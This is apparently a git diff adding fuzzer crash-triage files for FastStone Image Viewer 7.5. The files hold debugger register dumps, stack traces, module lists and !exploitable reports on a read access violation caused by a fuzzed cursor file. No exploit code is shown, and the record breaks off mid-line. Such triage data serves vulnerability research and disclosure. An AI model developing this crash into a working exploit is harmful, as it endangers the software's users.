ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.791712547591701600000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-0.00183392 -9.3913e-035 -1.47863e+009 4.76547e-025 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 080d8130 08055930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00292000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00292000 a58dbd7b 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b9 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00292000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/54619/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/54619/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..fabbafa Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/54619/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/5552/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/5552/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/5552/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/5552/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/5552/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..d766e27 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/5552/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/5552/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/5552/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..7057e40 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/5552/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1144: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1144: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1144.121c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=007fed2d ecx=07e97b10 edx=00003879 esi=fe630010 edi=07ca4fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.729788052700939360000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.913541500000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-5.86468e-005 4.54349e+034 3.31412e+033 1.47107e+023 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f78130 07ef5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00350000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00350000 5d0b8566 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a1 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00350000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/5552/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/5552/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..7057e40 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/5552/WindowsDebugEngine_description.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1144: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1144: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common 